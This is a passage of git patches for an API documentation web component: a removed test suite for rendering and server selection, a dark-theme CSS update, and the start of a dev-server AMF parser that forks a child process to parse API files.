-          const element = await modelFixture(amf, 'type', type['@id']);
-          element.narrow = true;
-          element.compatibility = true;
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-type-documentation');
-          assert.ok(node, 'security is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.type === type, 'type model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-          // @ts-ignore
-          assert.equal(node.compatibility, element.compatibility, 'compatibility is set');
-          // libraries do not have media type
-          assert.isUndefined(node.mediaTypes, 'mediaTypes is not set');
-        });
-
-        it('renders a security from a library', async () => {
-          const security = AmfLoader.lookupSecurity(amf, 'OAuth1');
-          const element = await modelFixture(amf, 'security', security['@id']);
-          element.narrow = true;
-          await aTimeout(0);
-          const node = /** @type any */ (element.shadowRoot.querySelector('api-security-documentation'));
-          assert.ok(node, 'security is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.security === security, 'security model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-        });
-      });
-
-      describe('Security fragment processing', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load(securityFragment, Boolean(compact));
-        });
-
-        it('renders a security from a fragment', async () => {
-          const encodes = AmfLoader.lookupEncodes(amf);
-          const security = encodes[0];
-          const element = await modelFixture(amf, 'security', security['@id']);
-          element.narrow = true;
-          await aTimeout(0);
-          const node = /** @type any */ (element.shadowRoot.querySelector('api-security-documentation'));
-          assert.ok(node, 'security is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.security === security, 'security model is set');
-          assert.equal(node.narrow, element.narrow, 'narrow is set');
-        });
-      });
-
-      describe('Documentation fragment processing', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load('documentation-fragment', Boolean(compact));
-        });
-
-        it('renders a documentation from a fragment', async () => {
-          const encodes = AmfLoader.lookupEncodes(amf);
-          const model = encodes[0];
-          const element = await modelFixture(amf, 'documentation', model['@id']);
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-documentation-document');
-          assert.ok(node, 'documentation is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.shape === model, 'type model is set');
-        });
-      });
-
-      describe('Type fragment processing', () => {
-        let amf;
-        before(async () => {
-          amf = await AmfLoader.load('type-fragment', Boolean(compact));
-        });
-
-        it('renders a type from a fragment', async () => {
-          const encodes = AmfLoader.lookupEncodes(amf);
-          const model = encodes[0];
-          const element = await modelFixture(amf, 'from', model['@id']);
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-type-documentation');
-          assert.ok(node, 'type is rendered');
-
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.type === model, 'type model is set');
-        });
-      });
-
-      describe('Rendering for library', () => {
-        let element = /** @type ApiDocumentationElement */ (null);
-        let libraryAmf;
-
-        before(async () => {
-          // @ts-ignore
-          libraryAmf = await AmfLoader.load('APIC-711', compact);
-        });
-
-        beforeEach(async () => {
-          element = await basicFixture();
-          await nextFrame();
-        });
-
-        it('should clear everything when changing to amf for RAML library', async () => {
-          // @ts-ignore
-          const demoAmf = await AmfLoader.load(demoApi, compact);
-          element.amf = demoAmf;
-          element.selected = 'summary';
-          element.selectedType = 'summary';
-          const oldDocsModel = element._docsModel;
-          await aTimeout(10);
-          element.amf = libraryAmf;
-          await aTimeout(10);
-          assert.notEqual(element._docsModel, oldDocsModel);
-        });
-      });
-    });
-  });
-
-  describe.skip('Documentation partial model', () => {
-    let amf;
-    before(async () => {
-      amf = await AmfLoader.load('partial-model/documentation', false);
-    });
-
-    it('renders a documentation', async () => {
-      const element = await partialFixture(amf);
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-documentation-document');
-      assert.ok(node, 'documentation is rendered');
-      assert.typeOf(node.amf, 'object', 'amf is set');
-      assert.isTrue(node.shape === amf, 'type model is set');
-    });
-  });
-
-  describe.skip('Security partial model', () => {
-    let amf;
-    before(async () => {
-      amf = await AmfLoader.load('partial-model/security', false);
-    });
-
-    it('renders a security', async () => {
-      const element = await partialFixture(amf);
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-security-documentation');
-      assert.ok(node, 'security is rendered');
-      // @ts-ignore
-      assert.typeOf(node.amf, 'object', 'amf is set');
-      // @ts-ignore
-      assert.isTrue(node.security === amf, 'security model is set');
-    });
-  });
-
-  describe.skip('Type partial model', () => {
-    let amf;
-    before(async () => {
-      amf = await AmfLoader.load('partial-model/type', false);
-    });
-
-    it('renders a type', async () => {
-      const element = await partialFixture(amf);
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-type-documentation');
-      assert.ok(node, 'type is rendered');
-      assert.typeOf(node.amf, 'object', 'amf is set');
-      assert.isTrue(node.type === amf, 'type model is set');
-    });
-  });
-
-  describe.skip('Endpoint partial model', () => {
-    let amf;
-    before(async () => {
-      amf = await AmfLoader.load('partial-model/endpoint', false);
-    });
-
-    it('renders an endpoint', async () => {
-      const element = await partialFixture(amf);
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-endpoint-documentation');
-      assert.ok(node, 'endpoint is rendered');
-      assert.typeOf(node.amf, 'object', 'amf is set');
-    });
-
-    it('renders a method', async () => {
-      const element = await partialFixture(amf);
-      const opKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
-      const ops = element._ensureArray(amf[opKey]);
-      element.selected = ops[0]['@id'];
-      element.selectedType = 'method';
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-method-documentation');
-      assert.ok(node, 'method is rendered');
-      // @ts-ignore
-      assert.typeOf(node.amf, 'object', 'amf is set');
-    });
-  });
-
-  describe('navigation events', () => {
-    let amf;
-    before(async () => {
-      amf = await AmfLoader.load(demoApi, true);
-    });
-
-    it('changes selection when event occurs', async () => {
-      const element = await partialFixture(amf);
-      element.handleNavigationEvents = true;
-      await aTimeout(0);
-      assert.isTrue(element.handleNavigationEvents, 'getter returns the value');
-      const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-
-      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation');
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-method-documentation');
-      assert.ok(node, 'method is rendered');
-    });
-
-    it('ignores passive navigation', async () => {
-      const element = await partialFixture(amf);
-      element.handleNavigationEvents = true;
-      await aTimeout(0);
-      const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation', undefined, true);
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-method-documentation');
-      assert.notOk(node, 'method is not rendered');
-    });
-
-    it('removes listener when changing state', async () => {
-      const element = await partialFixture(amf);
-      element.handleNavigationEvents = true;
-      await aTimeout(0);
-      element.handleNavigationEvents = false;
-      const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation');
-      await aTimeout(0);
-      const node = element.shadowRoot.querySelector('api-method-documentation');
-      assert.notOk(node, 'method is not rendered');
-    });
-  });
-
-  [
-    ['Compact model', true],
-    ['Regular model', false]
-  ].forEach(([name, compact]) => {
-    describe(String(name), () => {
-      describe('Server selection', () => {
-        const selectedType = 'method';
-
-        describe('basics', () => {
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" selectedType="${selectedType}">
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                  Server 1 - http://customServer.com
-                </anypoint-item>
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                  Server 2 - http://customServer.com/{version}
-                </anypoint-item>
-              </api-documentation>
-            `);
-
-            await nextFrame();
-          });
-
-          it('should set serversCount', () => {
-            assert.equal(element.serversCount, 3);
-          });
-
-          it('should update serverValue and serverType using the first available server', () => {
-            assert.equal(element.serverValue, 'http://{instance}.domain.com/');
-            assert.equal(element.serverType, 'server');
-          });
-
-          it('should not change the baseUri property', () => {
-            assert.isUndefined(element.baseUri);
-          });
-
-          it('should render api-server-selector', () => {
-            assert.exists(element.shadowRoot.querySelector('api-server-selector'));
-          });
-
-          it('should not hide api-server-selector', () => {
-            assert.isFalse(element.shadowRoot.querySelector('api-server-selector').hidden);
-          });
-        });
-
-        describe('serverCount changes to less than 2', () => {
-          let serverSelector;
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" .selectedType="${selectedType}" narrow></api-documentation>
-            `);
-
-            serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            serverSelector.servers = [];
-
-            await nextFrame();
-          });
-
-          it('should set serversCount', () => {
-            assert.equal(element.serversCount, 0);
-          });
-
-          it('should hide api-server-selector', () => {
-            assert.isTrue(serverSelector.hidden);
-          });
-        });
-
-        describe('witht allowCustomBaseUri attribute', () => {
-          let serverSelector;
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation
-                .amf="${amf}"
-                .selectedType="${selectedType}"
-                narrow
-                allowcustombaseuri
-              ></api-documentation>
-            `);
-
-            serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            serverSelector.servers = [];
-
-            await nextFrame();
-          });
-
-          it('should set serversCount to one', () => {
-            assert.equal(element.serversCount, 1);
-          });
-
-          it('should show api-server-selector', () => {
-            assert.isFalse(serverSelector.hidden);
-          });
-        });
-
-        describe('selecting a slot server', () => {
-          let serverSelector;
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" selectedType="${selectedType}">
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                  Server 1 - http://customServer.com
-                </anypoint-item>
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                  Server 2 - http://customServer.com/{version}
-                </anypoint-item>
-              </api-documentation>
-            `);
-
-            await nextFrame();
-
-            const event = {
-              detail: {
-                value: 'http://customServer.com',
-                type: 'uri'
-              }
-            };
-
-            serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            serverSelector.dispatchEvent(new CustomEvent('apiserverchanged', event));
-
-            await nextFrame();
-          });
-
-          it('should update serverValue and serverType', () => {
-            assert.equal(element.serverValue, 'http://customServer.com');
-            assert.equal(element.serverType, 'uri');
-          });
-        });
-
-        describe('selecting a custom base uri', () => {
-          let serverSelector;
-          let element;
-
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            const event = {
-              detail: {
-                value: 'https://www.google.com',
-                type: 'custom'
-              }
-            };
-
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" selectedType="${selectedType}">
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                  Server 1 - http://customServer.com
-                </anypoint-item>
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                  Server 2 - http://customServer.com/{version}
-                </anypoint-item>
-              </api-documentation>
-            `);
-
-            serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            serverSelector.dispatchEvent(new CustomEvent('apiserverchanged', event));
-          });
-
-          it('should update serverValue and serverType', () => {
-            assert.equal(element.serverValue, 'https://www.google.com');
-            assert.equal(element.serverType, 'custom');
-          });
-
-          describe('clearing the selection', () => {
-            beforeEach(() => {
-              const event = {
-                detail: {
-                  value: undefined,
-                  type: undefined
-                }
-              };
-
-              serverSelector.dispatchEvent(new CustomEvent('apiserverchanged', event));
-            });
-
-            it('should update serverValue and serverType', () => {
-              assert.equal(element.serverValue, undefined);
-              assert.equal(element.serverType, undefined);
-            });
-
-            describe('selecting an existing server', () => {
-              beforeEach(() => {
-                const event = {
-                  detail: {
-                    value: 'http://{instance}.domain.com/',
-                    type: 'server'
-                  }
-                };
-
-                serverSelector.dispatchEvent(new CustomEvent('apiserverchanged', event));
-              });
-
-              it('should update serverValue and serverType', () => {
-                assert.equal(element.serverValue, 'http://{instance}.domain.com/');
-                assert.equal(element.serverType, 'server');
-              });
-            });
-          });
-        });
-
-        describe('when serverType is not server', () => {
-          let server;
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" selectedType="custom">
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                  Server 1 - http://customServer.com
-                </anypoint-item>
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                  Server 2 - http://customServer.com/{version}
-                </anypoint-item>
-              </api-documentation>
-            `);
-
-            // @ts-ignore
-            server =  element.server;
-          });
-
-          it('should return server null', () => {
-            assert.equal(server, null);
-          })
-        });
-
-        describe('navigating to something other than a method or an endpoint', () => {
-          let server;
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await fixture(html`
-              <api-documentation .amf="${amf}" selectedType="summary" selected="summary">
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                  Server 1 - http://customServer.com
-                </anypoint-item>
-                <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                  Server 2 - http://customServer.com/{version}
-                </anypoint-item>
-              </api-documentation>
-            `);
-
-            server =  element.server;
-          });
-
-          it('should return server null', () => {
-            assert.equal(server, null);
-          })
-
-          it('should hide api-server-selector', () => {
-            assert.isTrue(element.shadowRoot.querySelector('api-server-selector').hidden);
-          });
-        });
-
-        [
-          ['method', '#505', { methodId: '#505', endpointId: undefined }],
-          ['endpoint', '#1010', { methodId: undefined, endpointId: '#1010' }]
-        ].forEach(([navigationType, navigationId, serversCallParams]) => {
-          describe(`navigating to a ${navigationType}`, () => {
-            let _getServersStub;
-            let servers;
-            let server;
-            let element;
-            let amf;
-
-            before(async () => {
-              amf = await AmfLoader.load(undefined, Boolean(compact));
-            });
-
-            beforeEach(async () => {
-              element = await fixture(html`
-                <api-documentation .amf="${amf}" selectedType="${navigationType}" selected="${navigationId}">
-                  <anypoint-item slot="custom-base-uri" value="http://customServer.com">
-                    Server 1 - http://customServer.com
-                  </anypoint-item>
-                  <anypoint-item slot="custom-base-uri" value="http://customServer.com/{version}">
-                    Server 2 - http://customServer.com/{version}
-                  </anypoint-item>
-                </api-documentation>
-              `);
-            });
-
-            describe('with no servers', () => {
-              beforeEach(() => {
-                servers = [];
-                _getServersStub = sinon.stub(element, '_getServers').returns(servers);
-
-                server = element.server;
-              });
-
-              it(`should call getServers with the ${navigationType}Id`, () => {
-                assert.isTrue(_getServersStub.calledWith());
-              });
-
-              it('should set the server to null', () => {
-                assert.equal(server, null);
-              });
-            });
-
-            describe('with one server', () => {
-              beforeEach(() => {
-                servers = [{}];
-                _getServersStub = sinon.stub(element, '_getServers').returns(servers);
-
-                sinon
-                  .stub(element, '_getServerUri')
-                  .withArgs(servers[0])
-                  .returns('http://{instance}.domain.com/');
-              });
-
-              describe('with a serverValue', () => {
-                beforeEach(() => {
-                  server = element.server;
-                });
-
-                it(`should call getServers with the ${navigationType}Id`, () => {
-                  assert.isTrue(_getServersStub.calledWith(serversCallParams));
-                });
-
-                it('should return the first server', () => {
-                  assert.equal(server, servers[0]);
-                });
-              });
-
-              describe('with no serverValue', () => {
-                beforeEach(() => {
-                  element.serverValue = '';
-
-                  server = element.server;
-                });
-
-                it(`should call getServers with the ${navigationType}Id`, () => {
-                  assert.isTrue(_getServersStub.calledWith(serversCallParams));
-                });
-
-                it('should return the first server', () => {
-                  assert.equal(server, servers[0]);
-                });
-              });
-            });
-          });
-        });
-
-        describe('noServerSelector is true', () => {
-          let element;
-          let amf;
-
-          before(async () => {
-            amf = await AmfLoader.load(undefined, Boolean(compact));
-          });
-
-          beforeEach(async () => {
-            element = await partialFixture(amf);
-            element.noServerSelector = true;
-
-            await nextFrame();
-          });
-
-          it('should not render api-server-selector', () => {
-            assert.notExists(element.shadowRoot.querySelector('api-server-selector'));
-          });
-        });
-
-        describe('initial selected node', () => {
-          let model;
-          let element;
-          let selected;
-          let selectedType;
-
-          before(async () => {
-            model = await AmfLoader.load(multiServerApi, compact);
-          });
-
-          it('selects operation servers', async () => {
-            selectedType = 'method';
-            selected = AmfLoader.lookupOperation(model, '/ping', 'get')['@id'];
-            element = await modelFixture(model, selectedType, selected);
-            const serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            assert.lengthOf(serverSelector.servers, 2);
-          });
-
-          it('selects endpoint servers', async () => {
-            selectedType = 'endpoint';
-            selected = AmfLoader.lookupEndpoint(model, '/ping')['@id'];
-            element = await modelFixture(model, selectedType, selected);
-            const serverSelector = element.shadowRoot.querySelector('api-server-selector');
-            assert.lengthOf(serverSelector.servers, 1);
-          });
-        });
-      });
-    });
-  });
-
-  [
-    ['Compact model', true],
-    ['Full model', false]
-  ].forEach(([label, compact]) => {
-    describe(String(label), () => {
-      describe('API library processing', () => {
-        let amf;
-
-        beforeEach(async () => {
-          amf = await AmfLoader.load('APIC-390', compact);
-        });
-
-        it('renders SiteId type defined in library', async () => {
-          const type = AmfLoader.lookupType(amf, 'SiteId');
-          const element = await modelFixture(amf, 'type', type['@id']);
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-type-documentation');
-          assert.ok(node, 'type is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.type === type, 'type model is set');
-        });
-
-        it('renders Language type defined in uses node in library', async () => {
-          const type = AmfLoader.lookupType(amf, 'LocaleCode');
-          const element = await modelFixture(amf, 'type', type['@id']);
-          await aTimeout(0);
-          const node = element.shadowRoot.querySelector('api-type-documentation');
-          assert.ok(node, 'type is rendered');
-          assert.typeOf(node.amf, 'array', 'amf is set');
-          assert.isTrue(node.type === type, 'type model is set');
-        });
-      });
-    });
-  });
-
-  describe('_computeApiMediaTypes()', () => {
-    it('should return undefined if no encodes', async () => {
-      const element = await basicFixture();
-
-      const model = {};
-
-      const actual = element._computeApiMediaTypes(model);
-      assert.deepEqual(actual, undefined);
-    });
-
-    it('should return undefined if no media types present', async () => {
-      const element = await basicFixture();
-
-      const encodesKey = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
-
-      const encodes = { '@type': [element._getAmfKey(element.ns.schema.webApi)] };
-
-      const model = { [encodesKey]: encodes };
-
-      const actual = element._computeApiMediaTypes(model);
-      assert.deepEqual(actual, undefined);
-    });
-
-    it('should return values when they are contained in "@value" property', async () => {
-      const expected = ['application/json', 'application/xml'];
-      const element = await basicFixture();
-
-      const encodesKey = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
-      const acceptsKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.accepts);
-
-      const encodes = {
-        '@type': [element._getAmfKey(element.ns.schema.webApi)],
-        [acceptsKey]: [{ '@value': 'application/json' }, { '@value': 'application/xml' }]
-      };
-
-      const model = { [encodesKey]: encodes };
-
-      const actual = element._computeApiMediaTypes(model);
-      assert.deepEqual(actual, expected);
-    });
-
-    it('should return values when they are not contained in "@value" property', async () => {
-      const expected = ['application/json', 'application/xml'];
-      const element = await basicFixture();
-
-      const encodesKey = element._getAmfKey(element.ns.aml.vocabularies.document.encodes);
-      const acceptsKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.accepts);
-
-      const encodes = {
-        '@type': [element._getAmfKey(element.ns.schema.webApi)],
-        [acceptsKey]: ['application/json', 'application/xml']
-      };
-
-      const model = { [encodesKey]: encodes };
-
-      const actual = element._computeApiMediaTypes(model);
-      assert.deepEqual(actual, expected);
-    });
-  });
-});

From 67e8834624336882148189702f121c9242a1973b Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Thu, 14 Oct 2021 00:41:37 -0700
Subject: [PATCH 21/36] chore: updating demo dark theme

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/styles/api-console.css         | 49 ++++++++++++++++++++---------
 src/elements/styles/ApiOperation.js |  1 +
 src/elements/styles/ApiResource.js  |  1 +
 src/elements/styles/Common.js       |  4 +++
 src/elements/styles/Navigation.js   | 10 +++---
 5 files changed, 47 insertions(+), 18 deletions(-)

diff --git a/demo/styles/api-console.css b/demo/styles/api-console.css
index c03beab..831cbb7 100644
--- a/demo/styles/api-console.css
+++ b/demo/styles/api-console.css
@@ -5,7 +5,7 @@
 
 html,
 body {
-  background-color: #ffffff;
+  background-color: var(--secondary-background-color);
   height: 100%;
   margin: 0;
   padding: 0;
@@ -178,6 +178,8 @@ body {
 
 @media (prefers-color-scheme: dark) {
   body {
+    color: var(--primary-text-color);
+    background-color: var(--secondary-background-color);
     --primary-color: #ffcc80;
     --primary-text-color: #fff;
     --accent-color: #E040FB;
@@ -212,29 +214,34 @@ body {
     --anypoint-icon-button-emphasis-low-color: #fff;
 
     /* HTTP method colors */
-    --http-get-color: #c6f68d;
-    --http-post-color: #b39afd;
-    --http-put-color: #ffc77d;
-    --http-patch-color: #f186c0;
-    --http-delete-color: #FF5252;
+    --http-get-color: rgba(0, 128, 0, 0.74);
+    --http-post-color: rgba(33, 150, 243, 0.74);
+    --http-put-color: rgba(255, 165, 0, 0.74);
+    --http-patch-color: rgb(156, 39, 176);
+    --http-delete-color: rgba(244, 67, 54, 0.74);
     --http-options-color: rgba(128, 128, 128, 0.74);
     --http-head-color: rgba(128, 128, 128, 0.74);
     --http-connect-color: rgba(128, 128, 128, 0.74);
     --http-trace-color: rgba(128, 128, 128, 0.74);
+    --http-method-label-head-color: #000;
     --http-method-label-get-background-color: var(--http-get-color);
-    --http-method-label-get-color: #000;
+    --http-method-label-get-color: #fff;
     --http-method-label-post-background-color: var(--http-post-color);
-    --http-method-label-post-color: #000;
+    --http-method-label-post-color: #fff;
+    --http-method-label-patch-background-color: var(--http-patch-color);
+    --http-method-label-patch-color: #fff;
     --http-method-label-put-background-color: var(--http-put-color);
-    --http-method-label-put-color: #000;
+    --http-method-label-put-color: #fff;
     --http-method-label-delete-background-color: var(--http-delete-color);
-    --http-method-label-delete-color: #000;
+    --http-method-label-delete-color: #fff;
     --http-method-label-options-background-color: var(--http-options-color);
-    --http-method-label-options-background-color: var(--primary-text-color);
+    --http-method-label-options-background-color: #fff;
     --http-method-label-head-background-color: var(--http-head-color);
-    --http-method-label-head-color: var(--primary-text-color);
-    --http-method-label-patch-background-color: var(--http-patch-color);
-    --http-method-label-patch-color: #000;
+    --http-method-label-head-background-color: #fff;
+    --http-method-label-trace-background-color: var(--http-trace-color);
+    --http-method-label-trace-background-color: #fff;
+    --http-method-label-connect-background-color: var(--http-connect-color);
+    --http-method-label-connect-background-color: #fff;
 
     --operation-params-title-color: var(--primary-text-color);
     --operation-subheader-color: var(--secondary-text-color);
@@ -252,6 +259,7 @@ body {
     --code-color: var(--primary-text-color);
     --code-background-color: #202020;
     --code-punctuation-value-color: var(--code-color);
+    --inline-documentation-color: var(--primary-text-color);
 
     --api-annotation-document-color: var(--primary-text-color);
     --api-annotation-background-color: var(--primary-background-color);
@@ -274,5 +282,18 @@ body {
     --auth-method-oauth2-redirect-info-color: #fff;
 
     --inline-documentation-background-color: #3a3a3a;
+
+    --api-navigation-list-item-selected-background-color: #e8e9ea;
+    --api-navigation-section-title-focus-background-color: var(--primary-background-color);
+    --api-navigation-list-item-selected-color: #000;
+
+    --resource-title-color: var(--primary-text-color);
+    --operation-title-color: var(--primary-text-color);
+    --api-description-color: var(--secondary-text-color);
+
+    /* below are CSS definitions for elements defined in the demo app, not in the components */
+    --api-navigation-background-color: var(--secondary-background-color);
+    --api-navigation-color: var(--primary-text-color);
+    --api-navigation-list-item-selected-icon-color: var(--accent-color);
   }
 }
diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js
index 8bedd08..2e9f63a 100644
--- a/src/elements/styles/ApiOperation.js
+++ b/src/elements/styles/ApiOperation.js
@@ -16,6 +16,7 @@ export default css`
 }
 
 .operation-title .label {
+  color: var(--operation-title-color, inherit);
   font-size: var(--operation-title-size, 26px);
   font-weight: var(--operation-title-weight, 400);
   margin: 8px 0px;
diff --git a/src/elements/styles/ApiResource.js b/src/elements/styles/ApiResource.js
index a11834d..2b02114 100644
--- a/src/elements/styles/ApiResource.js
+++ b/src/elements/styles/ApiResource.js
@@ -16,6 +16,7 @@ export default css`
 }
 
 .endpoint-title .label {
+  color: var(--resource-title-color, inherit);
   font-size: var(--resource-title-size, 32px);
   font-weight: var(--resource-title-weight, 400);
   margin: 12px 0px;
diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js
index 339d4c3..6a42899 100644
--- a/src/elements/styles/Common.js
+++ b/src/elements/styles/Common.js
@@ -125,4 +125,8 @@ export default css`
 .text-selectable {
   user-select: text;
 }
+
+.markdown-body {
+  color: var(--api-description-color, rgba(0, 0, 0, 0.74));
+}
 `;
diff --git a/src/elements/styles/Navigation.js b/src/elements/styles/Navigation.js
index 42ad57c..d7048d1 100644
--- a/src/elements/styles/Navigation.js
+++ b/src/elements/styles/Navigation.js
@@ -118,15 +118,17 @@ export default css`
 
 .list-item.selected {
   font-weight: var(--api-navigation-list-item-selected-weight, bold);
-  background-color: var(
-    --api-navigation-list-item-selected-background-color,
-    var(--accent-color)
-  );
+  background-color: var(--api-navigation-list-item-selected-background-color, var(--accent-color));
   color: var(--api-navigation-list-item-selected-color, #fff);
   /* For Anypoint styling */
   border-left: var(--api-navigation-list-item-selected-border-left, initial);
 }
 
+.list-item.selected .toggle-button .icon,
+.list-item.selected .endpoint-toggle-button .icon {
+  color: var(--api-navigation-list-item-selected-icon-color, #fff);
+}
+
 .list-item.passive-selected {
   font-weight: var(--api-navigation-list-item-selected-weight, bold);
 }

From 647003b641edd7995c74cf1da1f614ffe118ebce Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Thu, 14 Oct 2021 12:33:29 -0700
Subject: [PATCH 22/36] feat: adding demo's AMF parser

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 dev/amf-server/AmfParser.mjs    | 141 ++++++++++++++++++++++++++++++++
 dev/amf-server/AmfService.mjs   | 136 ++++++++++++++++++++++++++++++
 dev/amf-server/ApiError.mjs     |  10 +++
 dev/amf-server/ParserProcess.js |  67 +++++++++++++++
 dev/amf-server/api.mjs          | 138 +++++++++++++++++++++++++++++++
 dev/types.d.ts                  |  23 ++++++
 package-lock.json               |  24 +++---
 package.json                    |   8 +-
 web-dev-server.config.mjs       |  14 ++++
 9 files changed, 547 insertions(+), 14 deletions(-)
 create mode 100644 dev/amf-server/AmfParser.mjs
 create mode 100644 dev/amf-server/AmfService.mjs
 create mode 100644 dev/amf-server/ApiError.mjs
 create mode 100644 dev/amf-server/ParserProcess.js
 create mode 100644 dev/amf-server/api.mjs
 create mode 100644 dev/types.d.ts
 create mode 100644 web-dev-server.config.mjs

diff --git a/dev/amf-server/AmfParser.mjs b/dev/amf-server/AmfParser.mjs
new file mode 100644
index 0000000..022d39c
--- /dev/null
+++ b/dev/amf-server/AmfParser.mjs
@@ -0,0 +1,141 @@
+import { fork } from 'child_process';
+
+/** @typedef {import('child_process').ChildProcess} ChildProcess */
+/** @typedef {import('../types').ProcessingStatus} ProcessingStatus */
+/** @typedef {import('../types').ParserProcessResult} ParserProcessResult */
+/** @typedef {import('../types').ParserProcessMessage} ParserProcessMessage */
+/** @typedef {import('../types').ContentParseCommand} ContentParseCommand */
+
+/**
+ * A class that parses API content.
+ */
+export class AmfParser {
+  constructor() {
+    /** @type ProcessingStatus */
+    this.status = 'initialized';
+    /** 
+     * The result of the parser computations.
+     * Is is set when the status is `finished`
+     * @type any
+     */
+    this.result = undefined;
+    /** 
+     * Any error message that made the process failed.
+     * Is is set when the status is `failed`
+     * @type string
+     */
+    this.error = undefined;
+    /** @type ChildProcess */
+    this.process = undefined;
+
+    this.processExitHandler = this.processDisconnectHandler.bind(this);
+    this.processMessage = this.processMessage.bind(this);
+    this.processError = this.processError.bind(this);
+  }
+
+  /**
+   * Cancels the current job.
+   */
+  cancel() {
+    if (this.process && this.process.connected) {
+      this.process.disconnect();
+    }
+    this.status = 'failed';
+    this.error = 'The process was cancelled.';
+  }
+
+  /**
+   * Parses an API from the body
+   * @param {Buffer} body The request body
+   * @param {string} vendor API vendor.
+   * @param {string} mime API mime type.
+   * @returns {Promise<void>}
+   */
+  async parseText(body, vendor, mime) {
+    this.status = 'running';
+    const proc = this.createProcess();
+    this.process = proc;
+    this.addProcessListeners(proc);
+    const command = /** @type ContentParseCommand */ ({
+      vendor, mime, 
+      content: body.toString('utf8'),
+    });
+    const message = /** @type ParserProcessMessage */ ({
+      action: 'parse-content',
+      command,
+    });
+    proc.send(message);
+  }
+
+  /**
+   * Creates a parser process.
+   * @returns {ChildProcess} 
+   */
+  createProcess() {
+    const env = { ...process.env, NODE_OPTIONS: '--max-old-space-size=4096' };
+    const options = {
+      execArgv: [],
+      env
+    };
+    const dir = import.meta.url.replace('AmfParser.mjs', '').replace('file:', '');
+    const proc = fork(`${dir}/ParserProcess.js`, options);
+    return proc;
+  }
+
+  /**
+   * @param {ChildProcess} proc
+   */
+  addProcessListeners(proc) {
+    proc.on('disconnect', this.processDisconnectHandler);
+    proc.on('message', this.processMessage);
+    proc.on('error', this.processError);
+  }
+
+  /**
+   * Logic executed when the process finish.
+   */
+  processDisconnectHandler() {
+    if (!this.process) {
